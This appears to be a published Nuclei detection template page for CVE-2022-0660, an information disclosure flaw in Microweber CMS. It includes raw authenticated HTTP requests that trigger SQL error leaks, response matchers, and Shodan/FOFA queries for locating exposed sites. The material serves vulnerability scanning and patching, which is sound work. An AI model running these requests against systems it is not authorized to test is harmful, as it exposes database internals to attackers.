Microweber <1.2.11 - Information Disclosure

ID: CVE-2022-0660

Severity: high

Author: amit-jd

Tags: cve,cve2022,microweber,disclosure,authenticated,huntr

Description

Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2022-0660

info:
  name: Microweber <1.2.11 - Information Disclosure
  author: amit-jd
  severity: high
  description: |
    Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Microweber to version 1.2.11 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/
    - https://github.com/advisories/GHSA-hhrj-wp42-32v3
    - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0660
    - https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0660
    cwe-id: CWE-209
    epss-score: 0.00585
    epss-percentile: 0.78101
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,disclosure,authenticated,huntr

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /module/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}admin/view:comments

        class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_2,'QueryException')
          - contains(body_2,'SQLSTATE')
          - contains(body_2,'runQueryCallback')
          - 'contains(header_2,"text/html")'
          - 'status_code_2==500'
        condition: and
# digest: 4b0a00483046022100d3ed8644c70b26b2d2e4bfa7992f1da9d4724878279fbc78710c9554da73d325022100e0881dd3d4abf337d1b0677e9d9e33275f0528af1e2421d7aa5cb12022450226:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0660.yaml"

View on Github